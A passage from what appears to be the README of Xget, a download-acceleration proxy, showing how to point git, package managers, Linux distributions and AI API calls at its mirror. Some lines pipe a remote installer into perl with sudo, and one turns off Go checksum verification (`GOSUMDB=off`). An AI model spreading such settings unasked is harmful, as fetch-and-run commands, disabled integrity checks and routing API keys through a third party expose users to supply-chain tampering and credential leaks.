| Mistral AI | `mistralai` | `https://api.mistral.ai/...` | `https://xget.xi-xu.me/ip/mistralai/...` |
| xAI | `xai` | `https://api.x.ai/...` | `https://xget.xi-xu.me/ip/xai/...` |
| GitHub Models | `githubmodels` | `https://models.github.ai/...` | `https://xget.xi-xu.me/ip/githubmodels/...` |
| NVIDIA API | `nvidiaapi` | `https://integrate.api.nvidia.com/...` | `https://xget.xi-xu.me/ip/nvidiaapi/...` |
| Perplexity | `perplexity` | `https://api.perplexity.ai/...` | `https://xget.xi-xu.me/ip/perplexity/...` |
| Groq | `groq` | `https://api.groq.com/...` | `https://xget.xi-xu.me/ip/groq/...` |
| Cerebras | `cerebras` | `https://api.cerebras.ai/...` | `https://xget.xi-xu.me/ip/cerebras/...` |
| SambaNova | `sambanova` | `https://api.sambanova.ai/...` | `https://xget.xi-xu.me/ip/sambanova/...` |
| Siray | `siray` | `https://api.siray.ai/...` | `https://xget.xi-xu.me/ip/siray/...` |
| HF Inference | `huggingface` | `https://router.huggingface.co/...` | `https://xget.xi-xu.me/ip/huggingface/...` |
| Together | `together` | `https://api.together.xyz/...` | `https://xget.xi-xu.me/ip/together/...` |
| Replicate | `replicate` | `https://api.replicate.com/...` | `https://xget.xi-xu.me/ip/replicate/...` |
| Fireworks | `fireworks` | `https://api.fireworks.ai/...` | `https://xget.xi-xu.me/ip/fireworks/...` |
| Nebius | `nebius` | `https://api.studio.nebius.ai/...` | `https://xget.xi-xu.me/ip/nebius/...` |
| Jina | `jina` | `https://api.jina.ai/...` | `https://xget.xi-xu.me/ip/jina/...` |
| Voyage AI | `voyageai` | `https://api.voyageai.com/...` | `https://xget.xi-xu.me/ip/voyageai/...` |
| Fal AI | `falai` | `https://fal.run/...` | `https://xget.xi-xu.me/ip/falai/...` |
| Novita | `novita` | `https://api.novita.ai/...` | `https://xget.xi-xu.me/ip/novita/...` |
| Burncloud | `burncloud` | `https://ai.burncloud.com/...` | `https://xget.xi-xu.me/ip/burncloud/...` |
| OpenRouter | `openrouter` | `https://openrouter.ai/...` | `https://xget.xi-xu.me/ip/openrouter/...` |
| Poe | `poe` | `https://api.poe.com/...` | `https://xget.xi-xu.me/ip/poe/...` |
| Featherless AI | `featherlessai` | `https://api.featherless.ai/...` | `https://xget.xi-xu.me/ip/featherlessai/...` |
| Hyperbolic | `hyperbolic` | `https://api.hyperbolic.xyz/...` | `https://xget.xi-xu.me/ip/hyperbolic/...` |
```url
# OpenAI API original URL
https://api.openai.com/v1/chat/completions
# Converted (add ip/openai prefix)
https://xget.xi-xu.me/ip/openai/v1/chat/completions
# Claude API original URL
https://api.anthropic.com/v1/messages
# Converted (add ip/anthropic prefix)
https://xget.xi-xu.me/ip/anthropic/v1/messages
# Gemini API original URL
https://generativelanguage.googleapis.com/v1beta/models/gemini-2.5-flash:generateContent
# Converted (add ip/gemini prefix)
https://xget.xi-xu.me/ip/gemini/v1beta/models/gemini-2.5-flash:generateContent
# HF Inference API original URL
https://router.huggingface.co/hf-inference/models/openai/whisper-large-v3
# Converted (add ip/huggingface prefix)
https://xget.xi-xu.me/ip/huggingface/hf-inference/models/openai/whisper-large-v3
```
For use cases, see
[AI Inference API Acceleration](#ai-inference-api-acceleration).
## 🎯 Use Cases
### Git Operations and Configuration
#### Git Operations
```bash
# Clone repository
git clone https://xget.xi-xu.me/gh/microsoft/vscode.git
# Clone specific branch
git clone -b main https://xget.xi-xu.me/gh/facebook/react.git
# Shallow clone (latest commit only)
git clone --depth 1 https://xget.xi-xu.me/gh/torvalds/linux.git
# Clone GitLab repository
git clone https://xget.xi-xu.me/gl/gitlab-org/gitlab.git
# Clone Gitea repository
git clone https://xget.xi-xu.me/gitea/gitea/gitea.git
# Clone Codeberg repository
git clone https://xget.xi-xu.me/codeberg/forgejo/forgejo.git
# Clone SourceForge repository
git clone https://xget.xi-xu.me/sf/projects/mingw-w64/code.git
# Clone AOSP repository
git clone https://xget.xi-xu.me/aosp/platform/frameworks/base.git
# Add remote repository
git remote add upstream https://xget.xi-xu.me/gh/[owner]/[repository].git
# Pull updates
git pull https://xget.xi-xu.me/gh/microsoft/vscode.git main
# Recursive submodule clone
git clone --recursive https://xget.xi-xu.me/gh/[username]/[repository-with-submodules].git
```
#### Git Global Acceleration Configuration
```bash
# Configure Git to use Xget for specific domains
git config --global url."https://xget.xi-xu.me/gh/".insteadOf "https://github.com/"
git config --global url."https://xget.xi-xu.me/gl/".insteadOf "https://gitlab.com/"
git config --global url."https://xget.xi-xu.me/gitea/".insteadOf "https://gitea.com/"
git config --global url."https://xget.xi-xu.me/codeberg/".insteadOf "https://codeberg.org/"
git config --global url."https://xget.xi-xu.me/sf/".insteadOf "https://sourceforge.net/"
git config --global url."https://xget.xi-xu.me/aosp/".insteadOf "https://android.googlesource.com/"
# Verify configuration
git config --global --get-regexp url
# Now all git clone operations for relevant platforms will automatically use Xget
git clone https://github.com/microsoft/vscode.git # Automatically converted to Xget URL
git clone https://gitlab.com/gitlab-org/gitlab.git # Automatically converted to Xget URL
git clone https://codeberg.org/forgejo/forgejo.git # Automatically converted to Xget URL
git clone https://android.googlesource.com/platform/frameworks/base.git # Automatically converted to Xget URL
```
### Mainstream Download Tool Integration
#### wget Download
```bash
# Download single file
wget https://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip
# Resume download
wget -c https://xget.xi-xu.me/hf/microsoft/DialoGPT-large/resolve/main/pytorch_model.bin
# Batch download
wget -i urls.txt # urls.txt contains multiple Xget URLs
```
#### cURL Download
```bash
# Basic download
curl -L -O https://xget.xi-xu.me/gh/golang/go/archive/refs/tags/go1.22.0.tar.gz
# Show progress bar
curl -L --progress-bar -o model.bin https://xget.xi-xu.me/hf/openai/whisper-large-v3/resolve/main/pytorch_model.bin
# Set user agent
curl -L -H "User-Agent: MyApp/1.0" https://xget.xi-xu.me/gl/gitlab-org/gitlab-runner/-/archive/main/gitlab-runner-main.zip
```
#### aria2 Multi-threaded Download
```bash
# Multi-threaded download of large files
aria2c -x 16 -s 16 https://xget.xi-xu.me/hf/microsoft/DialoGPT-large/resolve/main/pytorch_model.bin
# Resume download
aria2c -c https://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip
# Batch download configuration file
aria2c -i download-list.txt # File containing multiple Xget URLs
```
### Hugging Face Mirror
```python
import os
from transformers import AutoTokenizer, AutoModelForCausalLM
# Set environment variable to make transformers library automatically use Xget mirror
os.environ['HF_ENDPOINT'] = 'https://xget.xi-xu.me/hf'
# Define model name
model_name = 'microsoft/DialoGPT-medium'
print(f"Downloading model from mirror: {model_name}")
# Use AutoModelForCausalLM to load dialogue generation model
# Since we set the environment variable above, no additional parameters are needed here
tokenizer = AutoTokenizer.from_pretrained(model_name)
model = AutoModelForCausalLM.from_pretrained(model_name)
print("Model and tokenizer loaded successfully!")
# You can now use the tokenizer and model
# For example:
# new_user_input_ids = tokenizer.encode("Hello, how are you?", return_tensors='pt')
# chat_history_ids = model.generate(new_user_input_ids, max_length=1000, pad_token_id=tokenizer.eos_token_id)
# print(tokenizer.decode(chat_history_ids[:, new_user_input_ids.shape[-1]:][0], skip_special_tokens=True))
```
### Civitai AI Model Platform
```python
import requests
# Set API base URL to use Xget
base_url = "https://xget.xi-xu.me/civitai"
# Get model information
def get_model_info(model_id):
"""Get Civitai model information"""
url = f"{base_url}/api/v1/models/{model_id}"
response = requests.get(url)
return response.json()
# Download model
def download_model(model_version_id, output_path):
"""Download Civitai model file"""
download_url = f"{base_url}/api/download/models/{model_version_id}"
print(f"Downloading model version {model_version_id}...")
response = requests.get(download_url, stream=True)
response.raise_for_status()
with open(output_path, 'wb') as f:
for chunk in response.iter_content(chunk_size=8192):
f.write(chunk)
print(f"Model downloaded to: {output_path}")
# Usage example
model_id = 7240 # Example model ID
model_info = get_model_info(model_id)
print(f"Model name: {model_info['name']}")
# Download first model version
if model_info['modelVersions']:
version_id = model_info['modelVersions'][0]['id']
download_model(version_id, f"model_{version_id}.safetensors")
```
### npm Package Acceleration
#### Configure npm to Use Xget Mirror
```bash
# Temporarily use Xget mirror
npm install --registry https://xget.xi-xu.me/npm/
# Globally configure npm mirror
npm config set registry https://xget.xi-xu.me/npm/
# Verify configuration
npm config get registry
```
#### Configure Bun to Use Xget Mirror
```toml
# bunfig.toml (project-level) or ~/.bunfig.toml (global)
[install]
registry = "https://xget.xi-xu.me/npm/"
```
```bash
# Install dependencies with Bun
bun install
# Bun also supports .npmrc, so you can reuse existing npm registry settings
echo "registry=https://xget.xi-xu.me/npm/" > .npmrc
bun install
```
#### Use in Project (npm / Bun)
```bash
# Configure project-level mirror in .npmrc (.npmrc can be reused by npm / Bun)
echo "registry=https://xget.xi-xu.me/npm/" > .npmrc
# Install dependencies with npm
npm install
# Install dependencies with Bun
bun install
```
### Python Package Acceleration
#### Configure pip to Use Xget Mirror
```bash
# Temporarily use Xget mirror
pip install requests -i https://xget.xi-xu.me/pypi/simple/
# Globally configure pip mirror
pip config set global.index-url https://xget.xi-xu.me/pypi/simple/
pip config set global.trusted-host xget.xi-xu.me
# Verify configuration
pip config list
```
#### Use in Project
```bash
# Create pip.conf file (Linux/macOS)
mkdir -p ~/.pip
cat > ~/.pip/pip.conf << EOF
[global]
index-url = https://xget.xi-xu.me/pypi/simple/
trusted-host = xget.xi-xu.me
EOF
# Or create pip.conf in project root directory
cat > pip.conf << EOF
[global]
index-url = https://xget.xi-xu.me/pypi/simple/
trusted-host = xget.xi-xu.me
EOF
# Install using configuration file
pip install -r requirements.txt --config-file pip.conf
```
#### Specify Mirror in requirements.txt
```txt
# requirements.txt
--index-url https://xget.xi-xu.me/pypi/simple/
--trusted-host xget.xi-xu.me
requests>=2.25.0
numpy>=1.21.0
pandas>=1.3.0
matplotlib>=3.4.0
```
### conda Package Acceleration
#### Configure conda to Use Xget Mirror
```bash
# Configure default channel mirrors
conda config --add default_channels https://xget.xi-xu.me/conda/pkgs/msys2
conda config --add default_channels https://xget.xi-xu.me/conda/pkgs/r
conda config --add default_channels https://xget.xi-xu.me/conda/pkgs/main
# Configure all community channel mirrors (recommended)
conda config --set channel_alias https://xget.xi-xu.me/conda/community
# Or configure specific community channels
conda config --add channels https://xget.xi-xu.me/conda/community/conda-forge
conda config --add channels https://xget.xi-xu.me/conda/community/bioconda
# Set channel priority
conda config --set channel_priority strict
# Verify configuration
conda config --show
```
#### Configure in .condarc
The .condarc file can be placed in the user home directory (`~/.condarc`) or
project root directory:
```yaml
default_channels:
- https://xget.xi-xu.me/conda/pkgs/main
- https://xget.xi-xu.me/conda/pkgs/r
- https://xget.xi-xu.me/conda/pkgs/msys2
channel_alias: https://xget.xi-xu.me/conda/community
channel_priority: strict
show_channel_urls: true
```
#### Use Environment File
The environment file can directly specify complete mirror URLs:
```yaml
# environment.yml
name: myproject
channels:
- https://xget.xi-xu.me/conda/pkgs/main
- https://xget.xi-xu.me/conda/pkgs/r
- https://xget.xi-xu.me/conda/community/bioconda
- https://xget.xi-xu.me/conda/community/conda-forge
dependencies:
- python=3.11
- numpy>=1.24.0
- pandas>=2.0.0
- matplotlib>=3.7.0
- scipy>=1.10.0
- pip
- pip:
- requests>=2.28.0
```
```bash
# Create environment using environment file
conda env create -f environment.yml
# Update environment
conda env update -f environment.yml
```
### Maven Package Acceleration
#### Configure Maven to Use Xget Mirror
```xml
xget-maven-central
central
Xget Maven Central Mirror
https://xget.xi-xu.me/maven/maven2
```
#### Use in Project
```xml
xget-maven-central
Xget Maven Central
https://xget.xi-xu.me/maven/maven2
xget-maven-central
Xget Maven Central
https://xget.xi-xu.me/maven/maven2
```
```bash
# Specify mirror using command line
mvn clean install -Dmaven.repo.remote=https://xget.xi-xu.me/maven/maven2
# Download specific dependency
mvn dependency:get -Dartifact=org.springframework:spring-core:5.3.21 \
-DremoteRepositories=https://xget.xi-xu.me/maven/maven2
```
### Apache Software Download Acceleration
#### Download Apache Software Using Xget
```bash
# Download Apache Kafka
wget https://xget.xi-xu.me/apache/kafka/3.6.1/kafka_2.13-3.6.1.tgz
# Download Apache Maven
curl -L -O https://xget.xi-xu.me/apache/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz
# Download Apache Spark
aria2c https://xget.xi-xu.me/apache/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz
# Download Apache Hadoop
wget https://xget.xi-xu.me/apache/hadoop/common/hadoop-3.3.6/hadoop-3.3.6.tar.gz
# Download Apache Flink
curl -L -O https://xget.xi-xu.me/apache/flink/flink-1.18.1/flink-1.18.1-bin-scala_2.12.tgz
```
#### Common Apache Software Downloads
```bash
# Big data related
wget https://xget.xi-xu.me/apache/hive/hive-3.1.3/apache-hive-3.1.3-bin.tar.gz
wget https://xget.xi-xu.me/apache/hbase/2.5.7/hbase-2.5.7-bin.tar.gz
wget https://xget.xi-xu.me/apache/zookeeper/zookeeper-3.8.4/apache-zookeeper-3.8.4-bin.tar.gz
# Web servers
wget https://xget.xi-xu.me/apache/httpd/httpd-2.4.59.tar.gz
wget https://xget.xi-xu.me/apache/tomcat/tomcat-10/v10.1.19/bin/apache-tomcat-10.1.19.tar.gz
# Development tools
wget https://xget.xi-xu.me/apache/ant/1.10.14/apache-ant-1.10.14-bin.tar.gz
wget https://xget.xi-xu.me/apache/netbeans/netbeans/20/netbeans-20-bin.zip
```
### Gradle Package Acceleration
#### Configure Gradle to Use Xget Mirror
```gradle
// Configure Gradle mirror in build.gradle
repositories {
maven {
url 'https://xget.xi-xu.me/maven/maven2'
}
gradlePluginPortal {
url 'https://xget.xi-xu.me/gradle/m2'
}
}
// Configure plugin repositories
pluginManagement {
repositories {
maven {
url 'https://xget.xi-xu.me/gradle/m2'
}
gradlePluginPortal()
}
}
```
#### Global Configuration
```gradle
// Configure global mirror in ~/.gradle/init.gradle
allprojects {
repositories {
maven {
url 'https://xget.xi-xu.me/maven/maven2'
}
}
}
settingsEvaluated { settings ->
settings.pluginManagement {
repositories {
maven {
url 'https://xget.xi-xu.me/gradle/m2'
}
gradlePluginPortal()
}
}
}
```
```bash
# Specify mirror using command line
gradle build -Dmaven.repo.remote=https://xget.xi-xu.me/maven/maven2
# Refresh dependencies
gradle build --refresh-dependencies
```
### Homebrew Package Acceleration
#### Configure Homebrew to Use Xget Mirror
```bash
# Set Homebrew environment variables to use Xget mirror
export HOMEBREW_BREW_GIT_REMOTE="https://xget.xi-xu.me/homebrew/brew.git"
export HOMEBREW_CORE_GIT_REMOTE="https://xget.xi-xu.me/homebrew/homebrew-core.git"
export HOMEBREW_API_DOMAIN="https://xget.xi-xu.me/homebrew/api"
export HOMEBREW_BOTTLE_DOMAIN="https://xget.xi-xu.me/homebrew/bottles"
# Update Homebrew
brew update
```
#### Long-term Configuration
```bash
# For bash users, add to ~/.bash_profile
echo 'export HOMEBREW_BREW_GIT_REMOTE="https://xget.xi-xu.me/homebrew/brew.git"' >> ~/.bash_profile
echo 'export HOMEBREW_CORE_GIT_REMOTE="https://xget.xi-xu.me/homebrew/homebrew-core.git"' >> ~/.bash_profile
echo 'export HOMEBREW_API_DOMAIN="https://xget.xi-xu.me/homebrew/api"' >> ~/.bash_profile
echo 'export HOMEBREW_BOTTLE_DOMAIN="https://xget.xi-xu.me/homebrew/bottles"' >> ~/.bash_profile
# For zsh users, add to ~/.zprofile
echo 'export HOMEBREW_BREW_GIT_REMOTE="https://xget.xi-xu.me/homebrew/brew.git"' >> ~/.zprofile
echo 'export HOMEBREW_CORE_GIT_REMOTE="https://xget.xi-xu.me/homebrew/homebrew-core.git"' >> ~/.zprofile
echo 'export HOMEBREW_API_DOMAIN="https://xget.xi-xu.me/homebrew/api"' >> ~/.zprofile
echo 'export HOMEBREW_BOTTLE_DOMAIN="https://xget.xi-xu.me/homebrew/bottles"' >> ~/.zprofile
```
#### Use in Project
```bash
# Install packages
brew install git
# Search packages
brew search python
# Update packages
brew upgrade
# View installed packages
brew list
```
#### Verify Mirror Configuration
```bash
# Check Homebrew configuration
brew config
# View environment variables
echo $HOMEBREW_API_DOMAIN
echo $HOMEBREW_BOTTLE_DOMAIN
```
### Ruby Package Acceleration
#### Configure RubyGems to Use Xget Mirror
```bash
# Temporarily use Xget mirror
gem install rails --source https://xget.xi-xu.me/rubygems/
# Globally configure RubyGems mirror
gem sources --add https://xget.xi-xu.me/rubygems/
gem sources --remove https://rubygems.org/
# Verify configuration
gem sources -l
```
#### Use in Project
```ruby
# Configure project-level mirror in Gemfile
source 'https://xget.xi-xu.me/rubygems/'
gem 'rails', '~> 7.0.0'
gem 'pg', '~> 1.1'
gem 'puma', '~> 5.0'
```
```bash
# Install using bundle
bundle config mirror.https://rubygems.org https://xget.xi-xu.me/rubygems/
bundle install
```
### R Package Acceleration
#### Configure R to Use Xget CRAN Mirror
```r
# Temporarily use Xget CRAN mirror in R
install.packages("ggplot2", repos = "https://xget.xi-xu.me/cran/")
# Globally configure CRAN mirror
options(repos = c(CRAN = "https://xget.xi-xu.me/cran/"))
# Verify configuration
getOption("repos")
```
#### Configure in .Rprofile
```r
# Configure global mirror in .Rprofile file in user home directory
options(repos = c(
CRAN = "https://xget.xi-xu.me/cran/",
BioCsoft = "https://bioconductor.org/packages/release/bioc",
BioCann = "https://bioconductor.org/packages/release/data/annotation",
BioCexp = "https://bioconductor.org/packages/release/data/experiment"
))
# Set download method
options(download.file.method = "libcurl")
```
#### Use in Project
```r
# Specify mirror in project's renv.lock or script
renv::init()
renv::settings$repos.override(c(CRAN = "https://xget.xi-xu.me/cran/"))
# Install packages
install.packages(c("dplyr", "ggplot2", "tidyr"))
# Or use pak package manager
pak::pkg_install("tidyverse", repos = "https://xget.xi-xu.me/cran/")
```
```bash
# Install packages using R script in command line
Rscript -e "options(repos = c(CRAN = 'https://xget.xi-xu.me/cran/')); install.packages('ggplot2')"
# Batch install packages
Rscript -e "
options(repos = c(CRAN = 'https://xget.xi-xu.me/cran/'))
packages <- c('dplyr', 'ggplot2', 'tidyr', 'readr')
install.packages(packages)
"
```
### Perl Package Acceleration
#### Configure CPAN to Use Xget Mirror
```bash
# Configure CPAN to use Xget mirror
cpan o conf urllist push https://xget.xi-xu.me/cpan/
cpan o conf commit
# Or directly edit configuration file ~/.cpan/CPAN/MyConfig.pm
# Add:
# 'urllist' => [q[https://xget.xi-xu.me/cpan/]],
```
#### Use cpanm to Install Modules
```bash
# Install cpanm (if not available)
curl -L https://cpanmin.us | perl - --sudo App::cpanminus
# Install modules using Xget mirror
cpanm --mirror https://xget.xi-xu.me/cpan/ DBI
cpanm --mirror https://xget.xi-xu.me/cpan/ Mojolicious
# Install dependencies from Makefile.PL
cpanm --mirror https://xget.xi-xu.me/cpan/ --installdeps .
```
#### Use in Project
```perl
# List dependencies in cpanfile
requires 'DBI';
requires 'Mojolicious';
requires 'JSON';
# Then install using Xget mirror
cpanm --mirror https://xget.xi-xu.me/cpan/ --installdeps .
```
### TeX/LaTeX Package Acceleration
#### Configure TeX Live to Use Xget CTAN Mirror
```bash
# Configure tlmgr to use Xget CTAN mirror
tlmgr option repository https://xget.xi-xu.me/ctan/systems/texlive/tlnet
# Update package database
tlmgr update --self --all
# Install packages
tlmgr install beamer
tlmgr install tikz
```
#### Configure MiKTeX to Use Xget Mirror
```bash
# Windows MiKTeX configuration
mpm --set-repository=https://xget.xi-xu.me/ctan/systems/win32/miktex
# Update package database
mpm --update-db
# Install packages
mpm --install=beamer
mpm --install=pgf
```
#### Use in Project
```bash
# Automatically install missing packages during LaTeX document compilation
pdflatex --shell-escape document.tex
# Or manually install specific packages
tlmgr install caption
tlmgr install subcaption
tlmgr install algorithm2e
```
### Go Module Acceleration
#### Configure Go to Use Xget Proxy
```bash
# Configure Go module proxy
export GOPROXY=https://xget.xi-xu.me/golang,direct
export GOSUMDB=off
# Or permanently configure
go env -w GOPROXY=https://xget.xi-xu.me/golang,direct
go env -w GOSUMDB=off
# Verify configuration
go env GOPROXY
```
#### Use in Project
```bash
# Download dependencies
go mod download
# Update dependencies
go get -u ./...
# Clean module cache
go clean -modcache
```
### NuGet Package Acceleration
#### Configure NuGet to Use Xget Mirror
```bash
# Add Xget package source
dotnet nuget add source https://xget.xi-xu.me/nuget/v3/index.json -n xget
# List package sources
dotnet nuget list source
# Use in project
dotnet restore --source https://xget.xi-xu.me/nuget/v3/index.json
```
#### Configure in NuGet.Config
```xml
```
### Rust Package Acceleration
#### Configure Cargo to Use Xget Mirror
```bash
# Configure Cargo to use Xget mirror (in ~/.cargo/config.toml)
mkdir -p ~/.cargo
cat >> ~/.cargo/config.toml << EOF
[source.crates-io]
replace-with = "xget"
[source.xget]
registry = "https://xget.xi-xu.me/crates/"
EOF
# Verify configuration
cargo search serde
```
#### Use in Project
```toml
# Can use dependencies normally in Cargo.toml
[dependencies]
serde = "1.0"
tokio = "1.0"
reqwest = "0.11"
```
```bash
# Xget will be automatically used when building the project
cargo build
# Update dependencies
cargo update
# Add new dependency
cargo add clap
```
### PHP Package Acceleration
#### Configure Composer to Use Xget Mirror
```bash
# Globally configure Composer mirror
composer config -g repo.packagist composer https://xget.xi-xu.me/packagist/
# Project-level configuration
composer config repo.packagist composer https://xget.xi-xu.me/packagist/
# Verify configuration
composer config -l
```
#### Configure in composer.json
```json
{
"repositories": [
{
"type": "composer",
"url": "https://xget.xi-xu.me/packagist/"
}
],
"require": {
"symfony/console": "^6.0",
"guzzlehttp/guzzle": "^7.0"
}
}
```
### Flathub Repository Mirror
#### Configure Flatpak / Flathub to Use Xget Mirror
```bash
# If Flathub has not been added before, import the official descriptor
# first so Flatpak trusts the Flathub signing key.
flatpak remote-add --if-not-exists flathub \
https://dl.flathub.org/repo/flathub.flatpakrepo
# Then repoint the existing Flathub remote to the Xget mirror
flatpak remote-modify flathub \
--url=https://xget.xi-xu.me/flathub/repo/
# Restore the default upstream when needed
flatpak remote-modify flathub \
--url=https://dl.flathub.org/repo/
```
Xget mirrors the Flathub OSTree repository endpoint. On current Flatpak clients,
importing a mirrored `.flatpakrepo` descriptor or adding the mirrored repository
directly may still fall back to the upstream Flathub URL or fail to import the
signing key, so `flatpak remote-modify ... --url=...` is the reliable setup. For
system-wide remotes, run the same commands with `sudo`.
#### Supported Flathub Services
```url
# OSTree repository metadata
https://xget.xi-xu.me/flathub/repo/config
https://xget.xi-xu.me/flathub/repo/summary
https://xget.xi-xu.me/flathub/repo/summary.sig
https://xget.xi-xu.me/flathub/repo/summary.idx
https://xget.xi-xu.me/flathub/repo/summaries/...
# Flatpak remote descriptor
https://xget.xi-xu.me/flathub/repo/flathub.flatpakrepo
# App reference descriptor
https://xget.xi-xu.me/flathub/repo/appstream/[app-id].flatpakref
# Repository objects and static deltas
https://xget.xi-xu.me/flathub/repo/objects/...
https://xget.xi-xu.me/flathub/repo/deltas/...
https://xget.xi-xu.me/flathub/repo/delta-indexes/...
```
#### Usage Examples
```bash
# Verify that the saved remote URL now points to Xget
flatpak remotes --show-details
# Inspect remote contents
flatpak remote-ls flathub
# Install an app after repointing the Flathub remote
flatpak install flathub org.gnome.gedit
# Install directly from a rewritten .flatpakref
flatpak install --from \
https://xget.xi-xu.me/flathub/repo/appstream/org.gnome.gedit.flatpakref
# Print libcurl HTTP traces when troubleshooting
OSTREE_DEBUG_HTTP=1 flatpak remote-ls flathub
# Update installed apps and runtimes
flatpak update
```
### Linux Distribution Acceleration
#### Debian/Ubuntu APT Configuration
```bash
# Backup original source list
sudo cp /etc/apt/sources.list /etc/apt/sources.list.backup
# Configure Debian mirror
echo "deb https://xget.xi-xu.me/debian/debian bookworm main" | sudo tee /etc/apt/sources.list
echo "deb https://xget.xi-xu.me/debian/debian-security bookworm-security main" | sudo tee -a /etc/apt/sources.list
# Configure Ubuntu mirror
echo "deb https://xget.xi-xu.me/ubuntu/ubuntu jammy main restricted universe multiverse" | sudo tee /etc/apt/sources.list
echo "deb https://xget.xi-xu.me/ubuntu/ubuntu jammy-updates main restricted universe multiverse" | sudo tee -a /etc/apt/sources.list
# Update package list
sudo apt update
```
#### Fedora DNF Configuration
```bash
# Configure Fedora mirror
sudo sed -i 's|^metalink=|#metalink=|g' /etc/yum.repos.d/fedora*.repo
sudo sed -i 's|^#baseurl=http://download.example/pub/fedora/linux|baseurl=https://xget.xi-xu.me/fedora/pub/fedora/linux|g' /etc/yum.repos.d/fedora*.repo
# Update package cache
sudo dnf makecache
```
#### Rocky Linux DNF Configuration
```bash
# Configure Rocky Linux mirror
sudo sed -i 's|^mirrorlist=|#mirrorlist=|g' /etc/yum.repos.d/rocky*.repo
sudo sed -i 's|^#baseurl=http://dl.rockylinux.org|baseurl=https://xget.xi-xu.me/rocky|g' /etc/yum.repos.d/rocky*.repo
# Update package cache
sudo dnf makecache
```
#### openSUSE Zypper Configuration
```bash
# Configure openSUSE Leap mirror
sudo zypper mr -d repo-oss
sudo zypper ar -f https://xget.xi-xu.me/opensuse/distribution/leap/15.5/repo/oss/ repo-oss-xget
# Configure openSUSE Tumbleweed mirror
sudo zypper mr -d repo-oss
sudo zypper ar -f https://xget.xi-xu.me/opensuse/tumbleweed/repo/oss/ repo-oss-xget
# Refresh software sources
sudo zypper refresh
# Verify configuration
sudo zypper lr -u
```
#### Arch Linux Pacman Configuration
```bash
# Backup original mirror list
sudo cp /etc/pacman.d/mirrorlist /etc/pacman.d/mirrorlist.backup
# Configure Arch Linux mirror
echo 'Server = https://xget.xi-xu.me/arch/$repo/os/$arch' | sudo tee /etc/pacman.d/mirrorlist
# Update package database
sudo pacman -Sy
```
### Academic Resource Acceleration
#### arXiv Paper Download
```bash
# Download arXiv paper PDF
wget https://xget.xi-xu.me/arxiv/pdf/2301.07041.pdf
# Download paper source
curl -L -O https://xget.xi-xu.me/arxiv/e-print/2301.07041
# Batch download multiple papers
for id in 2301.07041 2302.13971 2303.08774; do
wget https://xget.xi-xu.me/arxiv/pdf/${id}.pdf
done
```
#### Use in Academic Tools
```python
# Use arXiv accelerated download in Python
import requests
def download_arxiv_paper(arxiv_id, output_path):
url = f"https://xget.xi-xu.me/arxiv/pdf/{arxiv_id}.pdf"
response = requests.get(url)
if response.status_code == 200:
with open(output_path, 'wb') as f:
f.write(response.content)
print(f"Downloaded {arxiv_id} to {output_path}")
else:
print(f"Failed to download {arxiv_id}")
# Download paper
download_arxiv_paper("2301.07041", "attention_is_all_you_need.pdf")
```
### F-Droid Repository Mirror
#### Configure F-Droid Client to Use Xget Mirror
1. In F-Droid app, go to **Settings** → **Repositories**
2. Click **+** and enter repository URL: `https://xget.xi-xu.me/fdroid/repo`
3. Click **Add** then click **Add Mirror**
#### Supported F-Droid Services
```url
# F-Droid app APK download
https://xget.xi-xu.me/fdroid/repo/[package-name]_[version-code].apk
# F-Droid repository index
https://xget.xi-xu.me/fdroid/repo/index-v1.jar
# F-Droid app icons
https://xget.xi-xu.me/fdroid/repo/icons-640/[package-name].[version-code].png
# F-Droid API endpoints
https://xget.xi-xu.me/fdroid/api/v1/packages/[package-name]
```
#### Usage Examples
```bash
# Directly download F-Droid client APK
wget https://xget.xi-xu.me/fdroid/repo/org.fdroid.fdroid_1016050.apk
# Download other open source apps
curl -L -O https://xget.xi-xu.me/fdroid/repo/org.mozilla.fennec_fdroid_1014000.apk
# Get app information
curl https://xget.xi-xu.me/fdroid/api/v1/packages/org.fdroid.fdroid
```
#### Batch App Management
```bash
# Create app download script
cat > download_fdroid_apps.sh << 'EOF'
#!/bin/bash
# Define list of apps to download
apps=(
"org.fdroid.fdroid_1016050.apk"
"org.mozilla.fennec_fdroid_1014000.apk"
"com.termux_1180.apk"
"org.videolan.vlc_13050399.apk"
)
# Create download directory
mkdir -p fdroid_apps
# Batch download apps
for app in "${apps[@]}"; do
echo "Downloading: $app"
wget -P fdroid_apps "https://xget.xi-xu.me/fdroid/repo/$app"
done
echo "All apps downloaded!"
EOF
chmod +x download_fdroid_apps.sh
./download_fdroid_apps.sh
```
#### Developer Integration
For Android developers, F-Droid mirror can be integrated into build scripts:
```gradle
// Configure F-Droid dependency check in build.gradle
task checkFDroidAvailability {
doLast {
def fdroidUrl = "https://xget.xi-xu.me/fdroid/api/v1/packages/${project.name}"
try {
def connection = new URL(fdroidUrl).openConnection()
connection.requestMethod = 'GET'
def responseCode = connection.responseCode
if (responseCode == 200) {
println "App available on F-Droid: $fdroidUrl"
}
} catch (Exception e) {
println "Error checking F-Droid availability: ${e.message}"
}
}
}
```
### Jenkins Plugin Download
#### Use Xget to Accelerate Jenkins Plugin Download and Update
Supports Jenkins update center and plugin downloads, compatible with
configuration methods of domestic mirrors like Tsinghua mirror.
#### Jenkins Update Center Configuration
##### Method 1: Configure in Jenkins Web Interface
1. Log in to Jenkins management interface
2. Go to **Manage Jenkins** → **Plugins** → **Advanced**
3. In the **Update Site** section, change the URL to
`https://xget.xi-xu.me/jenkins/update-center.json`
4. Click **Submit** to save configuration
##### Method 2: Modify Configuration File
```bash
# Modify update center configuration file on Jenkins server
# Default location: $JENKINS_HOME/hudson.model.UpdateCenter.xml
sudo nano /var/lib/jenkins/hudson.model.UpdateCenter.xml
# Change URL to:
# https://xget.xi-xu.me/jenkins/update-center.json
# Restart Jenkins service
sudo systemctl restart jenkins
```
#### Supported Jenkins Services
```url
# Jenkins update center JSON
https://xget.xi-xu.me/jenkins/update-center.json
# Jenkins update center (actual JSON format)
https://xget.xi-xu.me/jenkins/update-center.actual.json
# Jenkins plugin download
https://xget.xi-xu.me/jenkins/download/plugins/[plugin-name]/[version]/[plugin-name].hpi
# Experimental plugin update center
https://xget.xi-xu.me/jenkins/experimental/update-center.json
```
#### Usage Examples
```bash
# Download Maven plugin
wget https://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi
# Download Git plugin
